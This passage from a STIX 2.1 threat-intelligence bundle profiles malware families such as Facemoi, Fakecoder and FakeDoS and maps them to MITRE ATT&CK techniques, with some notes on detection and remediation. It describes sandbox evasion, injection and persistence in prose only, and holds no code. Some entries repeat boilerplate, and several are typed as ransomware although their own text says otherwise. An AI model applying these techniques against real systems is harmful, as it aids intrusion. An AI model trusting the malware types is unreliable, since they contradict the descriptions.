      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ezula",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ezula"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49ffef5f-ba4a-5808-8170-f3d9033e7448",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905218eb-042c-504c-b178-e73ff8a4e54c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezula exhibits technique T1176 (Browser Extensions (Installing malicious BHOs for persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ccd7c61-f27f-54a7-b316-885a14f77824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905218eb-042c-504c-b178-e73ff8a4e54c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezula exhibits technique T1185 (Browser Session Hijacking (Manipulating the DOM to inject ads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8797ffc8-df56-5456-a4e5-0ec7a99789cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--905218eb-042c-504c-b178-e73ff8a4e54c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezula exhibits technique T1189 (Drive-by Compromise (Distribution via software bundling))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4be78fd6-7279-51dc-b585-ad13fad0c4b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Facemoi",
      "description": "Trojan:Win32/Facemoi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Facemoi</b><br>To an end-user, a Facemoi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Facemoi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Facemoi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Facemoi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Facemoi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Facemoi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/facemoi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28d78db0-0eaa-507e-98e4-020862faa473",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be78fd6-7279-51dc-b585-ad13fad0c4b6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Facemoi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29b6d3f7-b34d-5e6a-82ac-42b9c15d650b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be78fd6-7279-51dc-b585-ad13fad0c4b6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Facemoi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f77d1fe3-dc76-5555-86b7-f17fc5a23044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be78fd6-7279-51dc-b585-ad13fad0c4b6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Facemoi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa997e84-9f97-5756-929e-58bf25fa4ce3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be78fd6-7279-51dc-b585-ad13fad0c4b6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Facemoi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58bfb070-ba13-5ead-930d-4cd6e88c6420",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be78fd6-7279-51dc-b585-ad13fad0c4b6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Facemoi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e18f8d8-c24d-5711-a970-4caf0e0b3012",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Facido",
      "description": "Facido (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Facido, TrojanDropper.Facido, and Dropper.Facido) is a stealthy Windows trojan dropper and initial access loader active since 2017. Designed to deploy high-severity secondary payloads while evading static antivirus detection, Facido is disseminated via weaponized email attachments, cracked software utilities, and drive-by web downloads. Upon execution, the malware profiles the host environment to detect analysis sandboxes, unpacks encrypted binaries embedded within its resource section into user temporary directories, and establishes persistence through Windows Registry Run keys before executing secondary malware payloads. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Facido",
        "TrojanDropper.Facido",
        "Dropper.Facido",
        "Win32/Facido",
        "Trojan:Win32/Facido!rfn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Facido",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/facido"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0865c9d0-fb5b-578b-b5c4-2329d06a85e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fadok",
      "description": "Trojan:Win32/Fadok is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fadok</b><br>To an end-user, a Fadok infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fadok is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fadok is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fadok frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fadok reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fadok",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fadok"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34b503f2-73c2-51f9-a4a3-434bef6dd262",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0865c9d0-fb5b-578b-b5c4-2329d06a85e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fadok exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4554873-f22b-51be-9335-b490b7c39ebe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0865c9d0-fb5b-578b-b5c4-2329d06a85e6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fadok exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a879c9a1-da73-56d0-9f50-e3853abf3687",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0865c9d0-fb5b-578b-b5c4-2329d06a85e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fadok exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea82aa2c-4945-5f2b-8d55-39c7d862a3f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0865c9d0-fb5b-578b-b5c4-2329d06a85e6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fadok exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4c52000-3a4d-5dc5-a8fc-16b64ea00ea0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0865c9d0-fb5b-578b-b5c4-2329d06a85e6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fadok exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--00fece97-64d2-5cfa-a8cf-cf079c116e17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeal",
      "description": "<h3>Executive Summary</h3>\nFakeAl (short for \"Fake Alert\") is a classification for a highly disruptive form of Potentially Unwanted Program (PUP) operating as \"Rogue Security Software\" or \"Fake Antivirus.\" It relies entirely on aggressive social engineering and scareware tactics. Its primary objective is to extort money from users by performing fabricated system scans, presenting alarming, false-positive reports of severe malware infections, and refusing to \"clean\" the system until the user purchases a fraudulent premium license.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFakeAl relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming, full-screen browser pop-ups claiming their \"PC is infected with 5 viruses\" or when downloading freeware from third-party aggregators, where the fake AV is installed silently.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive UI and Scareware Tactics:</strong> The application is designed to mimic the graphical user interface of legitimate antivirus products (like Windows Defender or Norton). It launches automatically on boot, performs a fake, rapid \"scan,\" and invariably reports numerous critical (but non-existent) malware infections.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants of FakeAl employ system-locking tactics. They may constantly overlay the screen with warnings, disable the Windows Task Manager, or block the execution of legitimate executable files (claiming they are \"infected\"), effectively holding the user's workflow hostage.</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that it repeatedly interrupts workflow with high-pressure purchase prompts demanding credit card information.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, FakeAl poses a severe threat to user productivity and financial security (extortion). The aggressive system locking mechanisms cause massive IT helpdesk overhead, and users may unwittingly hand over valid credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms that block executable launches, it is almost always necessary to boot the infected machine into Windows \"Safe Mode with Networking\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal, such as Malwarebytes) to scan for and remove the deeply embedded registry keys and scheduled tasks associated with FakeAl.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.FakeAlert",
        "PUP.FakeAV",
        "Scareware.FakeAl"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ded2776-54a2-57c4-bee8-bccbb586f499",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00fece97-64d2-5cfa-a8cf-cf079c116e17",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeal exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa5238f0-17f9-50a0-a2f3-14e21276ccb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00fece97-64d2-5cfa-a8cf-cf079c116e17",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeal exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b24b2fe4-0950-5d90-ae66-69c269514bd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00fece97-64d2-5cfa-a8cf-cf079c116e17",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeal exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f6241839-d5b3-5b00-9737-554732bb3097",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakecoder",
      "description": "Trojan:Win32/Fakecoder is a classic but enduring social engineering lure designed to trick users into executing malware under the guise of a required media player update. Attackers set up malicious streaming sites or seed torrents with video files that prompt the user to download a 'special codec' or 'video player update' to view the content. The downloaded file is, in fact, a trojan dropper (`T1204.002`).<br><br><b>Understanding Fakecoder (Social Engineering Delivery)</b><br>To an end-user, they are simply trying to watch a pirated movie, a sports stream, or adult content, and believe the prompt to update their software is legitimate. For a security team, a Fakecoder detection highlights a failure in user awareness training and a reliance on risky browsing behavior, providing a direct path for attackers to bypass email filters and network perimeters.<br><br><b>Execution and Delivery Mechanics</b><br>The attack relies heavily on user interaction. The victim navigates to a compromised site. The site uses JavaScript to detect the browser and serve a fake, highly realistic prompt (e.g., 'Flash Player is out of date' or 'Missing DivX Codec'). The user downloads the executable (often named `setup.exe` or `codec_pack.exe`) and runs it (`T1204.002`). The executable may actually install a basic media player to avoid suspicion, but silently drops a RAT, Adware, or Ransomware payload in the background (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the secondary payload delivered by the fake codec. Host-based IoCs include the execution of unsigned executables from the `%Downloads%` folder immediately following web browsing activity to high-risk sites (streaming, torrents). EDR will flag the 'codec' installer spawning unexpected child processes (like `cmd.exe` or `powershell.exe`) to establish persistence or reach out to a C2 server. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakecoder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakecoder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abf3bcca-dc47-5a9e-8a0d-3e06ca588407",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6241839-d5b3-5b00-9737-554732bb3097",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakecoder exhibits technique T1204.002 (User Execution: Malicious File (The core of the attack relies on tricking the user into running the file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c933071-52ea-5dc7-bb6b-c00cde1da0ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6241839-d5b3-5b00-9737-554732bb3097",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakecoder exhibits technique T1189 (Drive-by Compromise (The malicious sites used to serve the fake prompts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4bf46a4-3b1c-57a2-b7fd-f61cdc4f6c13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6241839-d5b3-5b00-9737-554732bb3097",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakecoder exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Hiding the malware inside the fake installer))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6bf572f-f74f-5073-8004-819bab1b1274",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakedos",
      "description": "<h3>Executive Summary</h3>\nFakeDoS is a deceptive malware family categorized as a Trojan, often masquerading as a legitimate network testing tool or a \"stress tester\" (DDoS tool) for script kiddies. While the user believes they are downloading a tool to launch denial-of-service attacks against others, FakeDoS actually infects the host system, frequently acting as a backdoor or enlisting the machine into an actual botnet controlled by the malware author.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFakeDoS is primarily distributed via cybercrime forums, gaming cheat sites, and untrustworthy software portals where users actively seek out \"stresser\" tools or \"booters.\"\n\nUpon execution, the malware exhibits a \"bait and switch\" execution flow:\n<ul>\n<li><strong>Deceptive UI:</strong> The program may present a graphical user interface (GUI) allowing the user to enter a target IP address to \"attack.\" When initiated, it simulates an attack, often displaying fake console outputs to maintain the illusion of functionality.</li>\n<li><strong>Covert Payload Execution:</strong> While the fake UI is running, the core malware silently executes in the background. It establishes persistence by modifying the Windows Registry (`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) to ensure it survives system reboots.</li>\n<li><strong>Botnet Assimilation:</strong> FakeDoS typically connects to a hardcoded command-and-control (C2) server. Instead of the user controlling the attacks, their machine is assimilated into a botnet. The C2 server can now command the infected host to launch actual DDoS attacks (e.g., UDP floods, SYN floods) or download secondary payloads like info-stealers.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA FakeDoS infection is a significant security risk. It not only compromises the integrity of the endpoint but also turns the organization's infrastructure into an unwitting participant in cybercrime, potentially leading to the organization's IP space being blacklisted by global ISPs and security vendors.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Monitoring:</strong> Analyze edge firewall logs for sustained, high-volume outbound traffic to unknown IP addresses or anomalous communication over non-standard ports, which indicates the machine is participating in a botnet attack.</li>\n<li><strong>Endpoint Isolation:</strong> Isolate the infected endpoint from the LAN immediately to halt any outbound attacks and sever the C2 connection.</li>\n<li><strong>Security Awareness Training:</strong> The presence of FakeDoS indicates a user intentionally attempted to download and execute malicious hacking tools. This requires immediate administrative review and targeted security awareness training regarding acceptable use policies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.FakeDoS",
        "HackTool.FakeDoS",
        "Win32/FakeDoS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakedos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakedos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ab07823-b794-53c8-b51a-eda4fa8c4ccb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6bf572f-f74f-5073-8004-819bab1b1274",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakedos exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44ea07dc-9b88-5888-94ca-44ba2eeda1b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6bf572f-f74f-5073-8004-819bab1b1274",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakedos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0bc1ab05-93c5-5215-9981-7ef52cf4b457",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1583.003: Acquire Infrastructure: Botnet",
      "description": "MITRE ATT&CK Technique T1583.003 (Acquire Infrastructure: Botnet) under tactic Resource Development.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1583.003",
          "url": "https://attack.mitre.org/techniques/T1583/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8835aa38-ed06-5193-9448-688592cfe161",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6bf572f-f74f-5073-8004-819bab1b1274",
      "target_ref": "attack-pattern--0bc1ab05-93c5-5215-9981-7ef52cf4b457",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakedos exhibits technique T1583.003 (Acquire Infrastructure: Botnet)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ce1ba61-8328-5514-b949-f6bdf8426eb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeff",
      "description": "<h3>Executive Summary</h3>\nFakeFF is a specific classification for deceptive malware or Adware that masquerades as a legitimate component of the Mozilla Firefox web browser (or attempts to force the installation of a rogue, trojanized version of the browser). Its primary objective is to trick the user into granting it deep system privileges, allowing it to hijack web traffic, inject advertisements, or facilitate the installation of secondary malware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFakeFF is almost exclusively distributed via deceptive web campaigns. Users browsing untrustworthy websites are often confronted with alarming, full-screen pop-ups claiming their \"Firefox browser is out of date\" or a \"critical security patch is required.\" Clicking these links downloads the FakeFF installer instead of a legitimate Mozilla update.\n\nUpon execution, FakeFF leverages its disguise to manipulate the system:\n<ul>\n<li><strong>Deceptive Installation:</strong> The malware installer meticulously copies the icons, branding, and user interface of legitimate Mozilla Firefox software to lull the user into a false sense of security while they click \"Next\" through the wizard.</li>\n<li><strong>Browser Hijacking:</strong> The malware often installs a malicious Browser Helper Object (BHO) or extension into the real browser, or it may entirely replace the Firefox shortcut on the desktop to point to a modified, attacker-controlled executable.</li>\n<li><strong>Traffic Manipulation:</strong> Once integrated, FakeFF intercepts web traffic, forcefully redirecting the user's search queries to dubious affiliate marketing portals, injecting pop-up advertisements into legitimate sites, and silently tracking the user's browsing history.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile FakeFF is primarily an intrusive nuisance designed for ad-fraud, its deceptive nature makes it a significant risk. If an attacker can successfully convince a user to install a fake web browser, they have total control over all unencrypted data entered into that browser, posing a severe risk to passwords and financial information.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Application Removal:</strong> The primary remediation step is to locate and uninstall the fake application. Check the Windows Control Panel for recently installed programs claiming to be \"Firefox Updates\" or bearing suspicious publisher names.</li>\n<li><strong>Shortcut Verification:</strong> Right-click the browser shortcuts on the Desktop and Taskbar. Verify that the \"Target\" field points to the legitimate executable (e.g., `C:\\Program Files\\Mozilla Firefox\\firefox.exe`) and not a malicious script or proxy application.</li>\n<li><strong>Browser Reset and Sweeps:</strong> Perform a complete factory reset of the legitimate web browser to clear any malicious extensions. Run a comprehensive scan with a reputable enterprise anti-malware solution to remove lingering adware components.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.FakeFF",
        "PUP.FakeFirefox",
        "Trojan.FakeBrowser"
      ],
      "external_references": [
        {
